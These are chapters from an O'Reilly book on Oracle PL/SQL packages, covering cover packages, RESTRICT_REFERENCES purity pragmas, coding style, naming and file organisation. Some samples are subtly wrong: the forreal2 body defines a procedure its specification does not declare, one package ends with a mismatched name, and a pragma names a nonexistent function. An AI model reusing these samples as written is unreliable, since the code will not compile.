Yet in other situations, it really is difficult to shrink the size of one's package. Many real world tables have dozens, if not hundreds, of columns. Any Data Manipulation Language (DML) statement on such a table requires many bytes of code. And that 25,000-line package might really just contain code related to one specific area of functionality. To break that package into more than one package means requiring the user of those packages to deal with different package names. Why does procedure A reside in package X while function B can be found only in package Y?

There is, however, a technique you can use to break up a large package into multiple packages, while still maintaining the appearance of a single package for your users. You can create a cover package[4] that offers all the elements of the package under a single name. This cover package is, however, nothing more than a pass-through to other packages that contain the application logic.

[4] Note that the initial idea for this cover technique came from John M. Beresniewicz.

To see how this cover package technique works, consider the three packages defined below:

CREATE OR REPLACE PACKAGE forreal1
IS
   PROCEDURE proc1;
END forreal1;
/
CREATE OR REPLACE PACKAGE BODY forreal1
IS
   PROCEDURE proc1 IS BEGIN DBMS_OUTPUT.PUT_LINE ('for real 1'); End;
END forreal1;
/
CREATE OR REPLACE PACKAGE forreal2
IS
   PROCEDURE proc1;
END forreal2;
/
CREATE OR REPLACE PACKAGE BODY forreal2
IS
   PROCEDURE proc2 IS BEGIN DBMS_OUTPUT.PUT_LINE ('for real 2'); End;
END forreal2;
/
CREATE OR REPLACE PACKAGE cover
IS
   PROCEDURE proc1;
   PROCEDURE proc2;
END cover;
/
CREATE OR REPLACE PACKAGE BODY cover
IS
   PROCEDURE proc1 IS BEGIN forreal1.proc1; END;
   PROCEDURE proc2 IS BEGIN forreal2.proc2; END;
END cover;
/

The cover package contains two procedures. But if you look at the implementation of those procedures in cover, you see that all they do is call the "for real" version of those procedures in their respective "for real" packages, forreal1 and forreal2. When a developer calls the cover procedures, she doesn't know that she is actually calling the underlying "for real" procedures.

SQL> exec cover.proc1
for real 1
SQL> exec cover.proc2
for real 2

This redirection or passthrough in and of itself is not a major breakthrough. What makes this cover layer of code so useful is that you can set up access to these packages so that a developer can only execute the cover package and never even know about the underlying packages. This preserves the integrity of existing applications (written way back when all the code managed to fit in a single package) and protects the underlying code from being accessed improperly.

Suppose, for example, that the cover and "for real" packages are created in the APPOWNER account. I can then grant access to the cover package to SCOTT as follows:

SQL> GRANT EXECUTE ON cover TO scott;

I can also create a synonym for cover:

SQL> CREATE PUBLIC SYNONYM cover FOR appowner.cover;

Now a developer working in the SCOTT account can execute the cover procedures, but cannot execute the "for real" package-based procedures. All anyone knows about is the cover -- and if you name the packages differently, you don't even know you are working with a cover!

Sure, it would be better to be able to keep all related code in a single package. But at least with the cover technique developers using your software don't have to know about the smoke-filled back room manipulations.

1.6.5 Calling Packaged Functions in SQL

As of PL/SQL Release 2.1, you can call stored functions like total_comp anywhere in a SQL statement where an expression is allowed, including the SELECT, WHERE, START WITH, GROUP BY, HAVING, ORDER BY, SET, and VALUES clauses. (Since stored procedures are in and of themselves PL/SQL executable statements, they cannot be embedded in a SQL statement.)

Suppose, for example, that you need to calculate and use an employee's total compensation both in native SQL and in your forms. The computation itself is straightforward enough:

Total compenstation = salary + bonus

My SQL statement would include this formula:

SELECT employee_name, salary + NVL (bonus, 0)
  FROM employee;

while my Post-Query trigger in my Oracle Forms application might employ the following PL/SQL code:

:employee.total_comp := :employee.salary + NVL (:employee.bonus, 0);

In this case, the calculation is very simple, but the fact remains that if, for any reason, you need to change the total compensation formula (different kinds of bonuses, for example), you would then have to change all of these hard-coded calculations both in the SQL statements and in the frontend application components.

A far better approach is to create a function that returns the total compensation:

FUNCTION total_comp
   (salary_in IN employee.salary%TYPE, bonus_in IN employee.bonus%TYPE)
   RETURN NUMBER
IS
BEGIN
   RETURN salary_in + NVL (bonus_in, 0);
END;

Then I can replace the formulas in my code as follows:

SELECT employee_name, total_comp (salary, bonus)
  FROM employee;

:employee.total_comp := total_comp (:employee.salary, :employee.bonus);

You can use one of your own functions just as you would a builtin SQL function such as TO_DATE or SUBSTR or LENGTH. (Chapter 19, of Oracle PL/SQL Programming, offers many examples and details about how to use stored functions in this way.) There are, for example, many restrictions on functions called in SQL, most notably that:

  • The function may not execute INSERTs, UPDATEs, or DELETEs. You can't change data while you are executing the function in your SQL statement.

  • The function may not execute any builtin packaged programs. You cannot, in other words, use DBMS_SQL or DBMS_PIPE in a function and then call it in SQL.

In the remainder of this chapter, I take a look at the steps you need to take to make package-based functions callable in your SQL statements. Specifically, you will need to make use of the RESTRICT_REFERENCES pragma.

1.6.5.1 RESTRICT_REFERENCES pragma

A stored function can exist as a standalone function or as a function in a package. For standalone functions, the Oracle Server automatically determines whether it is callable in SQL. It will, for example, reject your SQL statement if it uses a function that issues an UPDATE statement. The situation with packaged functions is a bit more complicated.

As noted earlier, the specification and body of a package are distinct; a specification can exist even before its body. For this and other reasons, the Oracle Server cannot automatically determine (when you execute your SQL) that a packaged function is valid for SQL execution. Instead, you must state explicitly the "purity level" of a function in a package with the RESTRICT_REFERENCES pragma. The Oracle Server then determines at compile time (of the package body) if the function violates the purity level, and raise a compilation error if this is the case. Once the package is compiled, the functions for which assertions have been made can be called in SQL.

Let's explore the specific syntax required to achieve this effect.

A pragma is a special directive to the PL/SQL compiler. If you have ever created a programmer-defined, named exception, you have already encountered your first pragma. In the case of the RESTRICT_REFERENCES pragma, you are telling the compiler the purity level you believe your function meets or exceeds.

You need a separate PRAGMA statement for each packaged function you wish to use in a SQL statement, and it must come after the function declaration in the package specification (you do not specify the pragma in the package body).

To assert a purity level with the pragma, use the following syntax:

PRAGMA RESTRICT_REFERENCES
   (function_name, WNDS [, WNPS] [, RNDS] [, RNPS])

where function_name is the name of the function whose purity level you wish to assert, and the four different codes have the following meanings:

Purity Code | Description
WNDS | Stands for "Writes No Database State." Asserts that the function does not modify any database tables.
WNPS | Stands for "Writes No Package State." Asserts that the function does not modify any package variables.
RNDS | Stands for "Reads No Database State." Asserts that the function does not read any database tables.
RNPS | Stands for "Reads No Package State." Asserts that the function does not read any package variables.

Notice that only the WNDS level is mandatory in the pragma. That is consistent with the restriction that stored functions in SQL may not execute an UPDATE, INSERT, or DELETE statement. All other states are optional. You can list them in any order, but you must include the WNDS argument. No one argument implies another argument. For example, I can write to the database without reading from it. I can read a package variable without writing to a package variable.

Here is an example of two different purity level assertions for functions in the company_financials package:

PACKAGE company_financials
IS
   FUNCTION company_type (type_code_in IN VARCHAR2)
      RETURN VARCHAR2;

   FUNCTION company_name (company_id_in IN company.company_id%TYPE)
      RETURN VARCHAR2;

   PRAGMA RESTRICT_REFERENCES (company_type, WNDS, RNDS, WNPS, RNPS);
   PRAGMA RESTRICT_REFERENCES (company_name, WNDS, WNPS, RNPS);
END company;

In this package, the company_name function does read from the database to obtain the name for the specified company. Notice that I placed both pragmas together at the bottom of the package specification. The pragma does not need to immediately follow the function specification. I also went to the trouble of specifying the WNPS and RNPS arguments for both of the functions. Oracle Corporation recommends that you assert the highest possible purity levels so that the compiler will never reject the function unnecessarily.

I have found, on the other hand, that the PL/SQL compiler does at times reject my purity level assertions when there does not seem to be any apparent violation. You may at times have to retreat to the minimal WNDS assertion simply to get your package to compile.

1.6.5.2 Asserting the purity level of the initialization section

If your package contains an initialization section (executable statements after a BEGIN statement in the package body), you must also assert the purity level of that section. The initialization section is executed automatically the first time any package object is referenced. So if a packaged function is used in a SQL statement, it will trigger execution of that code. If the initialization section modifies package variables or database information, the compiler needs to know about that through the pragma.

You can assert the purity level of the initialization section either directly or indirectly. To use a direct assertion, you use this variation of the pragma RESTRICT_REFERENCES:

PRAGMA RESTRICT_REFERENCES
   (package_name, WNDS, [, WNPS] [, RNDS] [, RNPS])

Instead of specifying the name of the function, you include the name of the package itself, followed by all the applicable state arguments. In the following argument I assert only WNDS and WNPS because the initialization section reads data from the configuration table and also reads the value of a global variable from another package (session_pkg.user_id).

PACKAGE configure
IS
   PRAGMA RESTRICT_REFERENCES (configure, WNDS, WNPS);
   user_name VARCHAR2(100);
END configure;

PACKAGE BODY configure
IS
BEGIN
   SELECT lname || ', ' || fname INTO user_name
     FROM user_table
    WHERE user_id = session_pkg.user_id;
END configure;

Why can I assert the WNPS even though I do write to the user_name package variable? Answer: It's a variable from this same package, so the action is not considered a side effect.

You can also assert the purity level of the package's initialization section by allowing the compiler to infer that level from the purity level(s) of all the pragmas for individual functions in the package. In the following version of the company package, the two pragmas for the functions allow the Oracle Server to infer a combined purity level of RNDS, WNPS for the initialization section. This means that the initialization section cannot read from the database and cannot write to a package variable.

PACKAGE company
IS
   FUNCTION get_company (company_id_in IN VARCHAR2)
      RETURN company%ROWTYPE;

   FUNCTION deactivate_company (company_id_in IN company.company_id%TYPE)
      RETURN VARCHAR2;

   PRAGMA RESTRICT_REFERENCES (get_company, RNDS, WNPS);
   PRAGMA RESTRICT_REFERENCES (deactivate_name, WNPS);
END company;

Generally, you are probably better off providing an explicit purity level assertion for the initialization section. This makes it easier for those responsible for maintaining the package to understand both your intentions and your understanding of the package.

Previous: 1.5 Types of Packages | Advanced Oracle PL/SQL Programming with Packages | Next: 2. Best Practices for Packages
1.5 Types of Packages | Book Index | 2. Best Practices for Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] Best Practices for Packages

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: 1.6 Building Packages Chapter 2 Next: 2.2 Using Effective Coding Style for Packages

2. Best Practices for Packages

Contents:
Starting With Packages
Using Effective Coding Style for Packages
Selecting Package Names
Organizing Package Source Code
Constructing the Optimal Interface to Your Package
Building Flexibility Into Your Packages
Building Windows Into Your Packages
Overloading for Smart Packages
Modularizing for Maintainable Packages
Hiding Package Data
Simultaneous Construction of Multiple Packages

Packages are the most important construct in PL/SQL for building reusable code and plug-and-play components, and for employing object-oriented design techniques. As you become more comfortable with the language, you will find more of your time spent inside packages -- and using programs from packages built by other developers. This may be a very pleasant and rewarding experience -- if the packages are designed and implemented properly. If, on the other hand, you decide to build your packages in the same helter-skelter method (or lack thereof) I run into way too often, life out there in front of the monitor may get pretty miserable.

This chapter discusses some of the most important "best practices" for package construction and goes into detail on an effective coding style for packages. If you follow the ideas presented below, you have a very good chance of writing packages that are readable, maintainable, and enhanceable. It is also much more likely that other developers will find your packages usable and useful. You will find additional explanation regarding these practices, along with examples of the application of these practices, in the sections covering specific PL/Vision packages.

The following list offers a summary of the best practices for packages covered in this chapter:

  • Start with packages. Get out of the habit of building standalone procedures and functions. Instead, start with a package.

  • Use a consistent and effective coding style. Use comment lines as banners to delineate the different kinds of elements in the package. Employ a standard ordering for the elements of the package.

  • Choose appropriate and accurate names for both the package and the elements in the package. As with any other kind of identifier, your package name should clearly communicate the point of the package. Avoid redundancies in the package name and its element names (such as emp.emp_name).

  • Organize package source code. Come up with consistent file-naming conventions for the source code you stored in operating system files. Separate the package specification and body CREATE OR REPLACE statement into separate files.

  • Construct the optimal interface to your package. Design your package so that it is easy -- and a pleasure -- to use. When you build packages for reuse, other PL/SQL developers become your users. Treat them with respect. Make the parameters in your programs case-insensitive. Don't require users to know about and pass literal values.

  • Build flexibility directly into your packages. Anticipate areas where options and flexibility will be required and then build them right in -- either with additional parameters or separate programs. Build toggles into your package so the behavior of the package can be changed without having to change the user's application.

  • Build windows into your packages. Packages allow you to control tightly what a developer can see and affect inside the package. The flip side of this control is blindness and bewilderment. Your users can't figure out what is going on. Package windows allow for controlled read-only access to package data and activity.

  • Overload aggressively for smart packages. Overloading modules means that you create more than one program with the same name. Overloading transfers the burden of knowledge from the user to the software. You do not have to try to remember the different names of the modules and their specific arguments. Properly constructed, overloaded modules will anticipate the different variations, hiding them behind a single name, and liberate your brain for other, more important matters.

  • Modularize the package body to create maintainable packages. To build packages that are both immediately useful and enhanceable over the long run, you must develop a wicked allergy to any kind of code duplication inside the package. You need to be ready, willing, and able to create private programs in your package to contain all the shared code behind the public programs of the package.

  • Hide your package data. Never define variables in the specification of a package (except when explicitly needed that way). Instead, declare them in the body and then provide a procedure to set the value of that variable, and a function to change the value of that variable (get-and-set). If you follow this practice, you will retain control over the values of, and access to, your package data. You can also then trace any reads from and writes to that data.

  • Construct multiple packages simultaneously. As you build a program, be aware of both existing packages and the need for new areas or layers of functionality. Take the time to break off from development of program A to enhance packages B, C, and D -- and then apply those new features back into A. It might take a little bit longer to finish your first program, but when you are done you will have strengthened your overall PL/SQL development environment and increased your volume of reusable code.

2.1 Starting With Packages

Late in July 1996, I received this note from one of my technical reviewers, John M. Beresniewicz:

I've built half a dozen pretty hefty packages, and still I find myself wondering at the start of implementing some new functionality: how should I do this? I think packages are intimidating developers out there (maybe I'm wrong) and part of the reason may be that it is very hard to decide what to put where and why. It seems like most of my packages start with an idea that becomes a JMB_procname stored procedure. (All initial experiments are named with the prefix JMB_ to let me know they are part of my playground.) As soon as the procedure becomes more than 100 lines long or contains code duplication or a related but different procedure suggests itself or needs to stash some persistent data, a package is magically born.

Once spawned, packages often have a life of their own, they grow and mature and sometimes die or are subsumed by larger packages. I don't know if there is an idea here, but something that makes deciding what and how to start a package may help developers... I suppose the whole book is just that in a sense.

There is definitely an idea in there, but my perspective is somewhat simpler than what John probably had in mind: Get out of the habit of building standalone procedures and functions. Instead, start with a package! It is certainly the case that most complex programs eventually mutate into or are absorbed by packages. There is nothing wrong with that evolutionary process. You can, however, save yourself some trouble by creating a package to hold that seemingly simple and lonely procedure or function.

If you start with a package, several benefits accrue:

  • You immediately work at a higher level of abstraction. You think of your single program as just one component of a whole range of related functionality. In the first implementation of the package you may not be aware of even one other program for this package, but you are allowing for the possibility of such programs.

  • Related to the level of abstraction, you find yourself creating separate layers and partitions of functionality. Then, as you work on additional programs, you identify the appropriate package for that program. Lo and behold, you find things falling into place. You realize that everything has a place. Your code takes on an elegant sense of internal organization that makes it easier to use and understand.

  • From the beginning, all calls to that program employ the dot notation necessary (and, I would argue, inevitable) to reference a package-based element. You don't have to go back later and change those calls or create another layer of code to support backward compatibility.

You will never regret the minuscule amount of extra time required to encapsulate your standalone programs inside a package.

Previous: 1.6 Building Packages | Advanced Oracle PL/SQL Programming with Packages | Next: 2.2 Using Effective Coding Style for Packages
1.6 Building Packages | Book Index | 2.2 Using Effective Coding Style for Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.2 Using Effective Coding Style for Packages

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

2.2 Using Effective Coding Style for Packages

A package is a collection of PL/SQL elements, including data structures (from cursors to constants) and program units (procedures and functions). Packages are generally the most complicated and extended pieces of code PL/SQL developers will write. To make matters worse, the current array of PL/SQL development environments do not offer any tools for viewing and managing a package as a collection. A package is treated and presented no differently from a single function -- just a whole bunch of lines of source code.

As a result, it is up to you to design and write your package to make it as readable and maintainable as possible. There are two fundamental strategies you can employ to help meet this objective:

Strategy 1: Use all available techniques to make your code as clean, modular, and structured as possible.

Strategy 2: Come up with a consistent coding style and format for your packages -- and get people to follow that style.

Many of the other best practices covered in this chapter address the first strategy -- which is clearly the more important and difficult of the two. In this section, I suggest elements of a coding style for packages. It is absolutely critical that you adopt an effective coding style and employ it consistently. This style should be compatible, of course, with the style you use throughout your PL/SQL code. It should also, however, include components that reflect and support the structure and significance of the package.

The most basic elements of a package style are, first of all, no different from the style I encourage for all other kinds of PL/SQL code. These elements include:

  • Use consistent indentation to reveal the logical flow of the program and to delineate the different sections of the PL/SQL program structure. Generally, this means that all executable statements are indented in from the BEGIN keyword, the body of a loop is indented within the LOOP and END LOOP keywords, and so on. Within a package, all specification declarations are indented between the IS and END keywords.

  • Code all reserved words in the PL/SQL language in upper-case. Use lower-case for all application-specific identifiers. Generally, this is accomplished with hard-coded literals and the use of UPPER and LOWER. This guideline presents more of a challenge when applied to complex expressions passed to PLVgen as default values, as we'll see later.

  • Use comments to add value to the code. Don't bother with comments that simply repeat what the code clearly states.

The style elements I find valuable particularly for packages include the following:

  • Use banners (specially formatted comment lines) to mark clearly the different groupings of package elements.

  • Use end labels for the package and for all program units defined in the package body.

The best way to demonstrate these coding styles is to show you the template I use for package construction. I have been writing a lot of PL/SQL code in the past year and I found myself typing the same words and phrases over and over again. To improve my productivity and also the consistency of my code, I built a package called PLVgen to generate PL/SQL programs (see Chapter 15, PLVvu: Viewing Source Code and Compile Errors). Example 2.1 shows the basic template of a package generated with PLVgen.

NOTE: The PLVgen.pkg procedure also generated the line numbers to go with the source code.

Example 2.1: A Generated Package Template

SQL> exec PLVgen.pkg('emp_maint');
  1 CREATE OR REPLACE PACKAGE emp_maint
  2 /*
  3 || Program: emp_maint
  4 ||  Author: Steven Feuerstein
  5 ||    File: emp_maint.SQL
  6 || Created: APR 13, 1996 18:56:59
  7 */
  8 /*HELP
  9 Add help text here...
 10 HELP*/
 11
 12 /*EXAMPLES
 13 Add help text here...
 14 EXAMPLES*/
 15
 16 IS
 17 /* Public Data Structures */
 18
 19 /* Public Programs */
 20
 21    PROCEDURE help (context_in IN VARCHAR2 := NULL);
 22
 23 END emp_maint;
 24 /
 25
 26 CREATE OR REPLACE PACKAGE BODY emp_maint
 27 IS
 28 /* Private Data Structures */
 29
 30 /* Private Programs */
 31
 32 /* Public Programs */
 33
 34    PROCEDURE help (context_in IN VARCHAR2 := NULL)
 35    IS
 36    BEGIN
 37       PLVhlp.show ('s:emp_maint', context_in);
 38    END help;
 39 END emp_maint;
 40 /

There are several features I would like to highlight in my package template:

Lines | Significance
2-7 | A standard header for the package, showing the author, filename, and date created.
8-14 | Stubs for help text. I have developed an architecture (and the PLVhlp package, described in Chapter 16, PLVgen: Generating PL/SQL Programs) to provide online help for PL/SQL programs. These comment blocks provide both inline code documentation and help text to users.
17-19 | Banners to identify the two main kinds of elements that can appear in a package specification: data structures and program units.
21 | Header for a procedure that delivers online help for this package. Of course, this should only be included if the online help package is being used.
23 | The END statement with the package name appended.
28-32 | Banners to identify the three kinds of elements that can appear in a package body: private data structures, program units, and the implementation of the public program units.
34-38 | The implementation of the help procedure. Notice that the procedure uses an end label with the program name and is also indented in multiple steps from the overall package.

The emp_maint package shown in Example 2.1 contains the most important elements of a package's "look and feel." All elements declared in the specification are indented in from the package definition statement. They exist within the context of the package, and that relationship is made clear through the indentation. The same rule holds true in the package body (you can see this with the definition of the help procedure). The banner comment lines, on the other hand, are left-justified to match the margin of the package itself. I do this to make sure that these boundary markers stand out as you scan the code.

The banners identifying the different sections become very critical when the package is full of many different elements and runs to hundreds or thousands of lines. They also provide an internal guide during development. As you write a new package program, you may find that you need to create another private variable or private function. If you have the banners in place, you can easily perform a search and then drop this new element into its rightful spot. The alternative (throwing the code in at whatever point of the package you happen to be coding) results in a very chaotic package that is difficult to follow and maintain.

As I make clear in the way I created Example 2.1, you can use PLVgen.pkg to generate a package with this (or a modified) format.

2.2.1 Choosing the Order of Elements

As with the declaration sections of procedures and functions, you must (both in the package specification and body) declare all variables and data structures before you declare any program units. But what about the order of these program units themselves? As you can see from my banners, I always try to define all my private modules before any of my public modules. These are the building blocks used by the public programs. I group them together so they are easier to locate.

Is this ordering strictly necessary? Yes and no. Yes, you must define a private program before it is referenced by another program in the package (public or private). No, you do not have to group them together. You could instead define all private modules just before they are used by their public counterparts. This can make sense if the private program is only used by a single public program. If it is shared by many public programs (or other private ones, for that matter), then this placement does not accurately reflect its role in the package.

You can, by the way, place the definitions of the public program units anywhere in the package body (after the variable declarations) -- even after they are referenced by another program. How is this possible? Since their headers have already been established in the package specification, the PL/SQL compiler has all the information it needs to resolve the reference.

Previous: 2.1 Starting With Packages | Advanced Oracle PL/SQL Programming with Packages | Next: 2.3 Selecting Package Names
2.1 Starting With Packages | Book Index | 2.3 Selecting Package Names
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.3 Selecting Package Names

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

2.3 Selecting Package Names

Have you ever noticed that a package is never executed or referenced? The package is only a container for all the elements inside the package. In your code you will execute package-based procedures and functions. You will reference package-based constants, variables, cursors, and so on. Consequently, all references to package-based elements are accomplished with qualified notation: package.element. You should take this format into account when you name both the package and the elements within a package.

In this section I discuss the following aspects of naming package-based elements:

  • Choosing appropriate and accurate names.

  • Avoiding redundancy.

  • Avoiding superfluous naming elements.

If you follow the advice in this section, you will design packages that are more easily used and understood by other developers.

2.3.1 Choosing Appropriate and Accurate Names

As a rule, developers are much too careless about the names they give to their packages and the elements inside those packages, (most importantly, procedures and functions.) There are two aspects to coming up with the right names for your code elements:

  • The structure of the name should match the role that element plays in your code.

  • The name should reflect what the element does in your code.

Have you ever thought about the structure of the names you choose? PL/SQL is a computer language. It is much simpler than human languages like Japanese or English, but it still has many of the same grammatical components, such as nouns and verbs. RAISE_APPLICATION_ERROR, for example, contains a verb (RAISE)-noun (APPLICATION_ERROR) combination, as in: "Raise this error." The built-in function, SUBSTR, is an example of a noun (SUBSTR), as in: "if the substring is NULL, then ask for a dollar amount."

PL/SQL on the other hand, is more complicated than human languages because you, the developer, get to make up words in the language as you go. You define new nouns and verbs every time you declare a variable or define a new program. This means that each and every one of us is, at least in part, responsible for the integrity of the PL/SQL language. Keep this in mind as you name your program elements. Let's apply this consideration to packages.

First of all, the name of the package should always be structured as a noun. The package itself does not do anything, so it cannot and should not be an action verb. The package name declares, as simply as possible, the contents of the package. If you are writing a package to analyze sales, the name of the package should be something like:

sales_analysis

and not either of these:

perform_sales_analysis
calculate_sales

It should also probably not be something as vague as "sales". There are many different aspects to sales; there would be no way to tell from the name that this package performs analyses on sales figures.

Beyond the package name itself, you must be very careful in your naming of elements within the package. A procedure is an executable statement, a command to the PL/SQL compiler. Consequently, the structure of the procedure name should be similar to a command:

Verb_Subject

as in:

Calculate_P_and_L
Display_Errors
Confirm_New_Entries

A function, on the other hand, is used like an expression in an executable statement. Because it returns, or represents, a value, the structure of a function name (as well as all constants and variables) should also be a noun:

Description_of_Returned_Value

as in:

Net_Profit
Company_Name
Number_of_Jobs
Earliest_Hire_Date

If I use the wrong grammatical structure for my names, they do not read properly.

2.3.2 Avoiding Redundancy

Keep in mind that when you reference a package element outside of the package you must use dot notation (package.element). As a result, you will want to avoid redundancy in your package and element names. For example, suppose I have a package named emp_maint for employee maintenance. One of the procedures in the package sets the employee salary.

Here is a redundant naming scheme:

PACKAGE emp_maint
IS
   PROCEDURE set_emp_sal;
END;

With this approach, I would then execute the procedure as follows:

emp_maint.set_emp_sal;

I do not need to mention emp again in the procedure name. The entire package is all about maintaining employees. That should be assumed in the names of all elements defined within the package. A more sensible approach would be:

PACKAGE emp_maint
IS
   PROCEDURE set_sal;
END;

With this new approach, I can then execute the procedure as follows:

emp_maint.set_sal;

In this way, I type less and the resulting code is more readable.

2.3.3 Avoiding Superfluous Naming Elements

I often recommend that you include as a suffix or prefix to an element name an abbreviation that indicates clearly the type of element. So whenever I declare a cursor, for example, I always append a suffix of "_cur" as shown in the example below:

DECLARE
    CURSOR emp_cur IS
       SELECT ...;
BEGIN
    FOR emp_rec IN emp_cur
    LOOP
        ...
    END LOOP;
END;

You can go overboard with these abbreviations and end up with names that are unwieldy and trip over themselves. The package name is one of those instances. I recommend that you do not append suffixes like "pkg" or "pak" to the names of packages. It will be clear enough from the way the packaged elements are referenced and used that they are defined within a package. Let's look at an example to illustrate the point.

Suppose I define my emp_maint package as follows:

PACKAGE emp_maint_pak
IS
   PROCEDURE set_sal;
END;

With this verbose approach, I then execute the procedure as follows:

emp_maint_pak.set_sal;

What do I gain by including the "pak" in the call, except to add to my typing? There can be no doubt at all that the set_sal procedure is defined within a package.

Similarly, I have worked at companies whose naming conventions dictate that whenever you create a procedure, you must preface the name with "pr" as in:

pr_calc_totals;

Function names must, of course, be prefaced with "fu" as in:

v_totsal := fu_total_salary;

This is serious overkill; if you have conventions like these, you need to find a better balance between self-documentation, readability, and productivity.

Some readers may notice an inconsistency in my approach to using suffixes. I suggest that you do not include "pkg" in your package names. I do continue to recommend, on the other hand, that you use a suffix for cursors and records, such as emp_cur and obj_rec. Why not drop the suffix for all of these elements? After all, it is usually pretty clear when I refer to a cursor or record. The clearest justification has to do with avoiding name duplication within the same PL/SQL block scope. Package names must be unique within an Oracle account. Within a single package, however, you may well want to define records, cursors, PL/SQL tables, programmer-defined record TYPEs, and so on for, say, the emp entity. If you do not use standard suffixes (or prefixes), you will end up with a bewildering variety of names. Conventions based on the entity name -- such as emp or dept or orders -- offer the simplest and clearest way to distinguish between these different elements of the PL/SQL language.[1]

[1] Thanks to John Beresniewicz for this insight.

Previous: 2.2 Using Effective Coding Style for Packages | Advanced Oracle PL/SQL Programming with Packages | Next: 2.4 Organizing Package Source Code
2.2 Using Effective Coding Style for Packages | Book Index | 2.4 Organizing Package Source Code
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.4 Organizing Package Source Code

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

2.4 Organizing Package Source Code

Most Oracle shops still rely on SQL*Plus to create and compile PL/SQL programs. This means that the source code resides in one or more operating system files. To avoid losing control of that source, you should adopt some simple conventions for the extensions of your files. The approach I have taken is shown in the table below.

File Extension | Description
procname.sp | The definition of a stored procedure.
funcname.sf | The definition of a stored function.
pkgname.spp | A stored package definition that contains the code for both the package specification and the package body.
pkgname.sps | The definition of a stored package specification only.
pkgname.spb | The definition of a stored package body only.
scriptname.sql | An anonymous PL/SQL block or a SQL*Plus script (SQL statement plus SQL*Plus commands).
procname.wp | The wrapped[2] definition of a stored procedure.
funcname.wf | The wrapped definition of a stored function.
pkgname.wpp | A stored package definition that contains the wrapped code for both the package specification and the package body.
pkgname.wps | The wrapped definition of a stored package specification only.
pkgname.wpb | The wrapped definition of a stored package body only.
scriptname.sql | An anonymous PL/SQL block or a SQL*Plus script (SQL statement plus SQL*Plus commands).

[2] As of PL/SQL Release 2.2, you can "wrap" your PL/SQL source code into an encrypted format. This format can be compiled into the database, but is not readable. Wrapped code is primarily of value to third-party vendors who provide PL/SQL-based applications, but are not interested in letting the competition see how they built their applications.

With your code separated and easily identified in this manner, you will be able to locate and maintain it more easily. You can fine-tune these extensions even more. For example, I often use the ".tab" extension for SQL*Plus Data Definition Language (DDL) scripts that create tables. The most important aspect of these naming conventions is the implied separation of package specification and body (sps and spb).

There are two advantages to creating and compiling specifications and bodies separately:

  • Minimize the need to recompile programs. If you recompile a package specification, then any program that references an element in that package will need to be recompiled (its status in the USER_OBJECTS view is set to INVALID). If you recompile only the body, on the other hand, none of the programs calling that package's element are set to invalid. So if you change a package's body and not its specification, you should not recompile the specification -- which means that you should keep those elements of the package in different files.

  • Allow different packages to depend upon each other. This codependency of packages is explored below.

2.4.1 Creating Codependent Packages

Codependency is not just an issue for psychologists and the self-help publishing industry. It can also rear its ugly head with PL/SQL packages. Suppose that package A calls a program in package B, and that package B calls a program in package A. These two packages depend on each other. How can one be defined before the other? How can either or both of these packages be made to compile? Simple: define all specifications and then define all bodies.

I ran into this codependency problem just before I was to give a class on packages. I planned to give out a copy of PL/Vision Lite and started work on an installation disk. Most of my packages were stored in spp files. The package specification and body were, in other words, stored in the same file. So I placed calls to execute all of these scripts in my installation file and tested the process in a fresh (of PL/Vision) Oracle account. The installation failed miserably and I couldn't understand the problem. I was able to compile any of these individual packages in my existing PL/Vision account (PLV) without any difficulty.

Suddenly, I realized the problem: when I compiled a package in my PLV account, it could reference the other packages that already existed. The package would, as a result, compile successfully. In an account with no preexisting PL/Vision code, however, when I tried to compile the p package body (a very basic package used by almost every other package in PL/Vision), it could not find the PLVprs package, which was not yet defined because it referenced the p package (among others). PLVprs was compiled later in the installation script.

For about five minutes I despaired. Had I constructed a product that wasn't even capable of installing? Then I came to my senses. The package specification and body do not have to be compiled together. And if the p package relies on the PLVprs package, it only requires the package specification for PLVprs to be in place. The PL/SQL compiler only needs to know, in other words, that the p.l procedure is calling PLVprs.display_wrap properly -- and that information is contained in the specification. I didn't have a faulty product. I had a faulty installation script!

Take a look at the PLVinst.sql file on your disk. This SQL*Plus script now installs the PL/Vision packages in a more sensible fashion. You will see that there are two phases to the installation of PL/Vision: first, all the package specifications are created, and then package body creation scripts are executed. In this way, I can leverage all the different, handy elements of PL/Vision in other parts of the product.

I learned from this experience that I should always separate the scripts for the creation of the package specification and body, even if the packages are very short and simple.

NOTE: This separation of specification and body will not work in all codependent situations. If the specification of package A references an element in package B, and the specification of package B references an element in package A, you will not be able to compile these two packages. Each specification requires the other specification to be previously defined, which simply isn't possible.

Previous: 2.3 Selecting Package Names | Advanced Oracle PL/SQL Programming with Packages | Next: 2.5 Constructing the Optimal Interface to Your Package
2.3 Selecting Package Names | Book Index | 2.5 Constructing the Optimal Interface to Your Package
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

